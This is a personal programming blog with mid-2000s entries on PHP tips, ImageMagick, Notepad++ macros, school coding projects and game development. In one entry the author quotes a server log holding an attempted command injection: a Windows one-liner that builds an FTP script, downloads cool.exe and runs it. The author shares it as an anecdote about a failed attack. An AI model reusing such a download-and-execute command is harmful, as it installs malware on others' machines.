Is LiveJournal storing passwords insecurely?2007-10-02 19:07:10
I was in LiveJournal's code and it looked to me like they were storing the passwords insecurely.

Here is more info on LiveJournal password issues.

You know what I JUST remembered... I remember hearing that LiveJournal is Open Source, I could probably find out for sure if I'm right, then submit a fix. Hopefully someone beats me to it 'cuz I have to go to sleep soon so I can get up for work.

Quick Tip:Restart after installing ImageMagick2006-12-22 11:22:40
ImageMagick is a very useful suite of command-line tools for modifying images. Iíve used it in the past to do several things including the creation of thumbnails for (NSFWÖ itís like and now Iím using it for another project. After installing ImageMagick on my Windows XP SP2 development box running Apache 2 and PHP 5, I realized that I could get convert, mogrify, and other ImageMagick tools to work just fine from the command line but not from PHP using exec().

I spent a lot of time debugging this, trying to get return vals from the exec() call. After a lot of wasted time, and trips to several forums, I found burried at the very bottom of a long forum discussion, that in the end all that fixed it was restarting. No amount of calls to system(), popen(), or setting of environment variables helped prior. I restartedÖ now it works for me too.

So to sum it up: If you just installed ImageMagick and you canít get ImageMagick to work from PHP using exec() or something similar, restart your computer and it will probably work..

New Blogging System!2006-06-14 11:17:58
entry posted to:
Codeaholics Code-blog
Codeaholics News
Motive Blog

I have several blogs, all with different topics. One of the reasons I haven't been updating them enough to meet my satisfaction is that there is some overlap in the subject-matter, and I am often confused on where to post to.

I decided recently that I should start burning through my list of articles to write, and to help this along, I wrote a cross-blog posting system. It's pretty nifty because it posts to a WordPress v1.5, WordPress v2.0.3, and my own custom blogging system that I wrote for Codeaholics.

My personal site will generally serve as the aggregator and (probably) get every article, along with links out to each of the blogs where the article was posted.

Here is a breakdown of the different blogs and what they cover:

  • - the aggregate of all posts. This is my life as a whole, so it will have every article, and will have little icons indicating which blogs the article was posted to.
  • Motive Blog - productivity and the glory of man! Basically this blog will exhalt all the things that Motive Force LLC stands for, and pretty much ignore the rest.
  • - general griping about numerous, poorly implemented web-languages/standards and tips on how to survive them. Since itís made partially as an emotional outlet for the frustrations of coders who have been portability-hacking their code for hours, the tone is fairly informal.
  • Codeaholics Code blog- programming / hacking / general caffeination.
  • Codeaholics News - where the code-blog is less-pinnacle code-related stuff, the News blog is just for announcements (eg: when coding projects get started/released, etc.).

Quick Tip: Notepad++ - Modify / Delete Macros2006-01-18 02:31:00
I use Notepad++ (v3.3 currently) for a lot of my development work, and I noticed that I couldn?t find any sites that mention how to delete or edit a macro once you create it.

Here is the rather simple method (simple once you find it anyway? it?s not in the ?Macro? menu):
  1. From the top menu, select ?Settings? => ?Shortcut Mapper??
  2. Scroll down near the very bottom (my macros started at item 60)
  3. Right-click and select either Modify or Delete (double click will act the same as selecting Modify)

Hope that helps someone!

HTML Color Mixer2005-10-22 16:23:50
I was sick of mixing HTML color codes in my CSS files manually (guessing, uploading, refreshing...), so I made the HTML Color Code Converter display the colors after it converts them, so now I guess it's technically an HTML Color Mixer or something.

Just thought I'd throw that out there because I find it helfpul, and thought you might too.

Feedback2005-09-17 17:37:07
Last week I got some feedback from a guy who's going to be using my randomCode() function in a project he's working on.

This makes me happy :)
I give a lot of code and related resources away, and all I want is to know where they're being used if at all.

To further encourage this type of behavior, I'm going to think of another small tool that I can release to coders to help them out. The randomCode() function has been getting me a ton of hits from IPs all over the world, and that makes me think that people may actually be getting something out of my work: so I'm going to keep at it.

Schooling Teachers... again (aka: tootin my own horn).2005-09-17 17:25:10
I'm writing in here because I'm still riled up from coding that project (code does that to me). I was assigned the project on thursday, went out thursday AND friday, and still finished it early today. It was supposed to take me 11 more days.

It was a fun project because we were writing it in old-school C and we were given the challenge of optimizing it. If we could make the dec value from the 'size' command (basically the size of the program) plus the maximum amount of memory dynamically allocated by the program total less than 26,000 bytes we get 10 bonus points. If we made it less than 24,000 bytes, we get 20 bonus points.

In class, the teacher (oddly he's one of the teachers thought to be the most skillful) told us he implemented it in 23,500 bytes. I did the math on the input and figured I wouldn't need any funky compression algorithms on the data we were holding (artist, title, tracks, total length for up to 500 CDs), so I just wrote the thing. I decided that if I really needed to, I'd go back and work on compression later.

Lets recap what happens when you throw together a program:
Professor: 23,500 bytes
Me: 20,500 bytes (update: 19,882 when compiled on machine where submissions are sent!).


I wasn't even trying.. he might not have been either, but still: he wrote the assignment, he should have a serious advantage. This further enforces my belief that in hiring coders in the future, academic credentials are going to play a very small part (because they mean very little), I intend to use skill-tests and examples of applicants' code to determine who has skills.

Quick PHP Tip2005-07-24 16:30:36
When you have dozens of files in a complex site, it often gets difficult to assure that session_start will be called once and only once. I use a quick hack to make sure that I can know I'm starting a session without having to worry about the 'headers already sent' error/warning.

First, make a file called 'session_start.php' which contains one line:
<?php session_start(); ?>

Then anywhere you would normally call session_start, you can now do so safely using the line:
include_once 'session_start.php';

hope that helps!

Side note - randomCode() php function2005-07-22 10:29:32
I keep seeing people making insecure versions of functions that generate a random code. So I created a function that was (as near as I can tell) secure, then I decided to make it public so that if there are any errors, the world at large can help correct them. I tested the function and posted the results of the test on the page also.

randomCode() PHP function

Promises2005-06-20 03:02:36
I know I haven't been updating this blog enough to keep up with all the things I add on to the site, but I've been very busy coding. One thing I can tell you about is the hex/dec color code converter I wrote yesterday. It was one of those quick 5-minute jobs, but I figure that some people may find it useful in their art or web development. You can find it here.

Now is where I make promises about the project I'm working on. I usually keep things under wraps until they are released or darn close. This is going to be no exception. But I will promise you that it has been going well and I've been able to keep up with the schedule perfectly so far, and I'm very pleased with the way everything has turned out so far. I think you'll enjoy the project when it's done.

Technically I'm supposed to be working on making Final Salvation releasable at the same time. Not much time has gone into that lately, but maybe towards the end of the summer. I'm actually hoping I never get back to it because my other projects take off (being that my purpose for this summer is to start a successful software company). Either I rock with this business endeavor, or I get to come back and finish an awesome game which has a ton of fans for an un-released title :). Win/Win.

'Till next time.
- Sean Colombo

I Before E except after C2005-03-13 14:50:03
I've always been bugged by that "i before e except after c" rule because it seems to be wrong almost as often as it is correct. So about 5 minutes ago it occured to me that I could stop speculating and get some real answers using a really simple perl script to find the exceptions in a dictionary file (available in the reference files section if you need one).

So I wrote it.

If you're curious/bored, you can find it here. It prints the words that break the rule as well as stats on how many words followed/broke the rule, and their percentages. It's not going to be on the software page because it's just too small of a project (if you can even call it that).

Update2005-03-12 02:15:19
I've been spending most of my time recently working on my Independent Study (and will continue to do so for the rest of the quarter).

I must say that I'm now tempted to mess around with plug-ins (mostly visualizations) for Winamp. It looks really fun. :)

Probably won't get to do it any time soon because of the RTS game (that's the Independent Study), but I hope I get some time to eventually.

Small script2005-02-20 17:53:30
I'm sick of talking to people on AIM and not being able to paste code to them. So I made a little formatting script that will change the code so that you can paste it and it will show up right. It can be found here.

Shwing!2005-02-17 17:19:14 is up, and hopefully will be making a splash in the RIT community.

My other coding exploits seem to be progressing to great potential. I just met with a really cool teacher about doing an Independent Study. I'm basically proposing to do something that would usually take a full team of coders and artist a year and a half... I'm planning to do it in 10 weeks alone. I expected to be cut down so my project would be some sort of preliminary design phase. But when I presented my idea he just said "Cool, let's do it." Rock on. He also showed me a rediculous 3D movie done by a guy who did an Independent Study with him last quarter. This guy is l33t. It's probably better than anything I've seen anywhere, it's some sort of basic game engine with just rediculous modeling. All I saw was a video, but I'm going to look into it further. This guy is my age and he's at the same school. My advisor called him "insane" and "rediculous" (both meant as extreme forms of flattery).

This is pretty inspirational to me. I take great pleasure in being equated with super-human adjectives, but the way I proposed my project right now would put me at a level well below his 17,000 lines of l33tness in 10 weeks. I'm going to have to step it up a notch, but it's nice to see that these things can work out.

I have to turn in the form for the Independent Study tomorrow, then I'll probably give more details. There will be a new part of the site to follow my progress with production. Screenshots, line-count, blog, etc.

Things are lookin up yo. Come back soon.

Oh, and sign up for ROFLbooks too cuz it'll save you a ton of cashola on your books and let you sell them for a bunch more than you'd get at the book buy-back window.

Almost... there...2005-02-08 15:01:49
At the goading of a friend, I started a website based on some of the tools I created for personalBookshelf. This site should be very useful and it already has a graceful union of three databases sitting and waiting for me to finish the interface (and add support for one more dynamic section). I know this is vague, but you'll see what I mean in a matter of days. I'm currently sick, so it probably won't be done today (although I shall try).

The more I turn it over in my mind, the more I expect this to be the most successful of all the sites I've written. It probably won't result in any revenue, but that's no longer the focus. The majority of the trick back-end stuff was done last quarter but I never released the site because it was pretty late to start advertising and I didn't see the benefit in devoting a great deal of time to a site with no benefit for myself. I'm not trying to be selfish or anything, but it is my opinion that in general I have the right to expect something in return for the devotion I give to my projects. However, the code was almost done, and I hate leaving a job half done... so I'm finishing it this quarter and presenting it to the world at large.

Certain outside factors demand that I finish the site this week for optimal success. Check back soon and maybe I'll stop being so vague.

That's funny... I don't remember installing that.2005-02-02 01:24:27
Haha, I found something rather interesting today looking at some debug code of mine. As some background: I just wrote a multiplayer java-applet game. It has been eradic and for some reason only works on some computers. I was going to have one of my friends attempt to connect to it, so I left it running all day. I happened to be running the server on port 31337 for testing purposes (it would be dynamic later when multiple games could be played at once). This is a coder-joke and for the same reason is commonly used by a few trojans.

To help me keep track of what goes on in my game server, I have it output some of the messages it recieves. I come back today to this:
Waiting for a client...
Player connection request
Waiting for a client...
Player connection request
SENDING MESSAGE: YOUR_TURN ywyupnxqbpnvegbpvkniaetmekjeodsn
RECIEVED MESSAGE: echo open 10051>>o&echo h>>o&echo h>>o&echo get cool.exe>>o&echo bye>>o&ftp -n -s:o&cool.exe&del o&exit
MESSAGE NOT RECOGNIZED: echo open 10051>>o&echo h>>o&echo h>>o&echo get cool.exe>>o&echo bye>>o&ftp -n -s:o&cool.exe&del o&exit
Connection reset
Disconnection found. Informing other players
Disconnecting all players.
All players disconnected.

The Pinging and Ponging, the random character string after announcing a turn... these are all normal. Now, I think I should mention that I don't call echo ever in my game, I have nothing listening on 10051 and I have never even heard of cool.exe before. Haha. Someone tried to hax me and instead they got to play Proximity. Some fans will just do anything to get their hands on my programs before they're released :P

(P.S. I closed port 31337 so don't bother)

Just an Update2005-01-16 15:34:04
Klone didn't explode in popularity or anything... but it's just Tetris with some modifications, so it really has no reason to cause a big impact until the rest of BDP is working too.

I made a site for my buddy Dave... it's at It should be pretty good reading, he knows his stuff and has a good sense of humor. As times goes on, I'll tweak the site to make it fit the content better. I did the initial version in less than 24 hours by reusing a ton of back-end code from this site and just tweaking it to fit the new site's purposes. It was around 3300 lines to start.

I'm working on making a game that I saw as a macromedia flash game into a multiplayer version because it seemed like it would be an awesome one-on-one game (like Chess, Go, or Checkers caliber... we'll see).

It also occured to me that I have several programs that I could finish at the drop of a hat. Gabriel has been pretty much done for a while now, I just haven't added all of the weird stuff that would be needed to match the plot. There is also that super-secret project that I started working on instead of BDP Networking. I spent about a month on it and it's pretty much done, I just don't have the mustard yet for what's next (selling it).

Redemption2005-01-07 17:39:42
Redemption == Klone.

N00bitis2005-01-03 04:05:57
I just spent 4 hours fixing a very trivial facet of a program. I feel the n00bitis. It was hard to figure out a correct scheme, but I'm dissapointed that I didn't see that the wrong schemes were wrong before trying them. :(

ONWARD! (gonna redeem myself soon, check back)

BDP Editor2004-12-30 02:47:47
I partially completed an editor for BDP configurations. This was just a random sanity-break from other work, I'm really not doing much with BDP these days because there are other larger projects underway as well as endless school(busy)work. I might also be doing some more web work :(, I really need to get out of that field. Advice to young coders: don't make websites for other people (especially friends), they can't afford to pay you enough for it to be worth your time, you'll just get trapped doing hours of work for little or no pay.
Next 20 entries -->>